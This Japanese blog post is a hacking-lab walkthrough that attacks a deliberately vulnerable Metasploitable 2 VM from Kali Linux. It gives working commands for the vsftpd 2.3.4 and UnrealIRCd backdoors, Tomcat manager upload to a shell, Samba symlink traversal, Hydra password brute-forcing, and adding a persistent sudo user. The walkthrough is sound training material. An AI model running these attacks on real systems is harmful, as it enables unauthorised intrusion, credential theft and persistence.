【ハッキング・ラボ⑫】Metasploitableをハッキングする

ターゲット端末にMetasploitableを導入し、ハッキングをしていきます。
<br>
まとめ記事（①〜⑯をまとめてます）
[【ハッキング・ラボのつくりかた】をやってみた](https://qiita.com/nakatatsu711/items/e90e6e0962bb787bf4a9)



## システム環境
`仮想化ソフト`：VirtualBox 6.1.0
`ホストOS`：Windows10
`ゲストOS1`：Kali Linux 2020.1
`ゲストOS2`：Windows7
`ゲストOS3`：Windows10
`ゲストOS4`：Metasploitable

攻撃端末はゲストOS1、ターゲット端末はゲストOS4です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS4が10.0.0.5です。



## Metasploitableの導入
Metasploitableとはあえて脆弱性が存在する状態で構成されたLinuxです。
以下のURLからmetasploitable-linux-2.0.0.zipファイルをダウンロードします。
[https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/)

zipファイルを展開すると、フォルダー内にMetasploitable.vmdkファイルがあります。

VirtualBoxを起動して、以下のようにして仮想マシンを作成します。
メモリーは1,024バイトにしました。
<img width="300" alt="hacking-lab-part12-1" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/ce14478d-66c4-ae47-ffb8-73a1b2daedfe.jpeg">
<img width="300" alt="hacking-lab-part12-2" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/22fde8f1-09e0-8bfe-3a30-6fa767b65347.jpeg">

仮想LANアダプターの設定を行います。
アダプター1にホストオンリーアダプターを割り当てます。

Metasploitableを起動し、ログインします。
IDはmsfadmin、パスワードはmsfadminです。

まず、以下のコマンドを入力し、日本語キーボードのレイアウトに変更します。

```
# sudo loadkeys jp
```

次に、静的IPアドレスを以下のように設定します。

```
# sudo vi /etc/network/interfaces
```

```:interfaces
auto eth0
iface eth0 inet static
address 10.0.0.5
netmask 255.255.255.0
gateway 10.0.0.1
```

以下で設定を反映させると、IPアドレスが10.0.0.5になります。

```
# sudo /etc/init.d/networking restart
```



## 各種攻撃
ここから、Metasploitableに攻撃を行っていきます。

最初に以下のコマンドでポートスキャンし、空いているポート番号を調べます。

```
# nmap -sV -O -p- 10.0.0.5
```

検出されたポート番号のうち、今回は以下を取り上げます。

- `21（ftp）`：vsftpd 2.3.4
- `8180（http）`：Apache Tomcat/Coyote JSP engine 1.1
- `139・445（netbios-ssn）`：Samba smbd 3.X - 4.X
- `6667・6697（irc）`：UnrealIRCd


### 21（ftp）
Kali Linuxからポート21にアクセスします。

```
# nc 10.0.0.5 21
```

FTPアカウントの情報を知らないとFTPにはログインできませんが、以下のコマンドを入力すると、ポート6200が開きます。
なぜなら、vsftpd2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれており、「:)」を含むユーザー名でログインすると、ポート6200にバックドアが開きます。

```
USER attacker:)
PASS hoge
```

ポート6200にアクセスします。
ポート6200にアクセスすることで、任意のコマンドを実行できるようになります。

```
# nc -nv 10.0.0.5 6200
```

<img width="600" alt="hacking-lab-part12-3" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/56e9fa46-63a9-b708-0e5a-38dc047e0490.jpeg">

また、同じ内容はMetasploitのモジュールexploit/unix/ftp/vsftpd_234_backdoorでも実現できます。

```:msf5
> use exploit/unix/ftp/vsftpd_234_backdoor
> set RHOST 10.0.0.5
> exploit
```

<img width="600" alt="hacking-lab-part12-4" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/70d07c13-a800-10eb-be19-fc2553e36d07.jpeg">

新しいユーザーを作っておきます。
次回からはこのユーザーでFTPにログインできます。

```
useradd -m newuser -G sudo -s /bin/bash
passwd newuser
```

今までは脆弱性を利用した攻撃を行ってきました。
ここでは、辞書式攻撃でFTPアカウントを解析することを考えます。
FTPアカウントを解析できれば、そのアカウントでFTPにログインできるようになります。

まず、ユーザーリストとパスワードリストを用意します。

```
# cat > user.lst
root
sys
msfadmin
admin
user
service
postgres
tomcat
```

```
# cat > pass.lst
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
（空行）
```

オンラインパスワードクラッカーであるHydraを使用します。

```
# hydra -L user.lst -P pass.lst -t 8 10.0.0.5 ftp
```

辞書式攻撃の結果、FTPアカウントを2つ解析できました。
<img width="600" alt="hacking-lab-part12-5" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/a35269c3-03b4-e3cc-dc23-3e49987d4e48.jpeg">


### 8180 （http）

ここでは、ポート8180を通して、HTTPの認証を解析することを学んでいきます。

`http://10.0.0.5:8180/admin`にアクセスすると、Tomcatの認証画面が表示されます。
<img width="600" alt="hacking-lab-part12-6" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/050db080-83cc-3544-85a9-ddcca856cb6a.jpeg">

User Name、Passwordを知るために辞書式攻撃を仕掛けます。

Hydraを使用しますが、コマンドには認証に失敗したときのメッセージを指定する必要があり、今回の場合はInvalid username or passwordです。
<img width="600" alt="hacking-lab-part12-7" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/c87272c2-d335-0f95-fb28-0b99e2803fb6.jpeg">

以下のコマンドを入力して、アカウントを特定します。
User Name、Passwordともtomcatだとわかります。

```
# hydra -L user.lst -P pass.lst -s 8180 10.0.0.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
```

<img width="600" alt="hacking-lab-part12-8" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/fc3f554b-a3d5-fd53-8469-11b652c3d9de.jpeg">

特定したアカウントでTomcatにログインできました。
<img width="600" alt="hacking-lab-part12-9" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/bfcdfc6f-f7b7-2c19-35ae-352c4bc4d55f.jpeg">

また、Tomcatのアカウントがわかれば、Metasploitのモジュールexploit/multi/http/tomcat_mgr_uploadを使用してシェルを奪取することもできます。
ターゲットには2（Linux x86）を指定します。

```:msf5
> use exploit/multi/http/tomcat_mgr_upload
> set target 2
> set payload linux/x86/shell_bind_tcp
> set HttpUsername tomcat
> set HttpPassword tomcat
> set RHOST 10.0.0.5
> set RPORT 8180
> exploit
```

<img width="600" alt="hacking-lab-part12-10" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/e58fe094-1ea3-ccf3-f845-e582c069b495.jpeg">


### 139・445 （netbios-ssn）
このポートでは、Sambaが稼働しており、共有サービスを提供しています。

以下のコマンドでSambaにログインします。
パスワードの入力を促されますが、何も入力せずEnterキーを押せばログインできます。

```
# smbclient -L //10.0.0.5
```

<img width="600" alt="hacking-lab-part12-11" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/3655c8f1-7d0b-37f8-b1a2-4a6abc6bf315.jpeg">

なお、事前に/etc/samba/smb.confに以下の項目を追記しておく必要があります。

```smb.conf
client min protocol = NT1
```

<img width="600" alt="hacking-lab-part12-12" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/31abdfb7-a701-3da8-ec90-8be1a5ea0a5f.jpeg">

共有名を確認するとtmpという共有名が存在することがわかります。
これをターゲットにします。

auxiliary/admin/smb/samba_symlink_traversalモジュールを使用すると、tmpという共有ディレクトリがマウントされ、rootfsというルートディレクトリがリンクされます。

ルートディレクトリという本来アクセスが禁止されているディレクトリにアクセスすることができます。
これをディレクトリトラバーサルと呼びます。

```:msf5
> use auxiliary/admin/smb/samba_symlink_traversal
> set RHOST 10.0.0.5
> set SMBSHARE tmp
> exploit
```

Meterpreterプロンプトから抜けます。
以下のコマンドでtmpという共有ディレクトリにアクセスできます。

```
# smbclient //10.0.0.5/tmp
```

cdコマンドでrootfsというルートディレクトリに移動できます。
例えば、/rootfs/etc/passwdファイルにアクセスすれば、パスワードファイルを閲覧することもできます。

ただ、root権限はないのでできることは限られます。
例えば、/rootfs/etc/shadowファイルにはアクセスできません。


### 6667・6697 （irc）
UnrealIRCdはUnreal IRCのサービスプログラムです。
Unreal IRCはオープンソースのIRCサーバで、IRCサーバを介してリアルタイムでチャットを行うことができます。

まずどのバージョンが使われているか調べます。
IRCクライアントであるhexchatをインストールし、起動します。

```
# apt install hexchat -y
# hexchat
```

以下のように設定し、「Connect」でIRCサーバに接続します。
<img width="600" alt="hacking-lab-part12-13" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/25b4254b-1d45-a818-3db8-3e0ec4a0608a.jpeg">
<img width="600" alt="hacking-lab-part12-14" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/f88b4691-740c-7afd-b03c-6d3203fd159d.jpeg">

「Nothing, I'll join a channel later.」を選択し、バージョンを確認します。
ここでは、3.2.8.1が使われていました。
<img width="600" alt="hacking-lab-part12-15" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1848126/86bf5734-ac49-9604-7de3-360f584d46a3.jpeg">

このバージョンには、バックドアがあることがわかっています。
バックドアにアクセスするためにexploit/unix/irc/unreal_ircd_3281_backdoorモジュールを使用します。

```:msf5
> use exploit/unix/irc/unreal_ircd_3281_backdoor
> set RHOST 10.0.0.5
> run
```

これでシェルを奪取することができます。
これはroot権限なので、様々なことを実現できます。

また、今までは使いませんでしたが、シェルからMeterpreterプロンプトに切り替えることもできます。
これにはpost/multi/manage/shell_to_meterpreterモジュールを使用します。
まず、Ctrl+zキーでセッションをバックグランドにしておきます。
その後、以下のコマンドを実行します。確立しているセッションは1とします。

```:msf5
> use post/multi/manage/shell_to_meterpreter
> set SESSION 1
> run
```

実行すると、新しいセッションが1つ確立されます。
そのセッション（ここではセッション2）に接続すると、Meterpreterプロンプトになります。

```:msf5
> sessions -i 2
```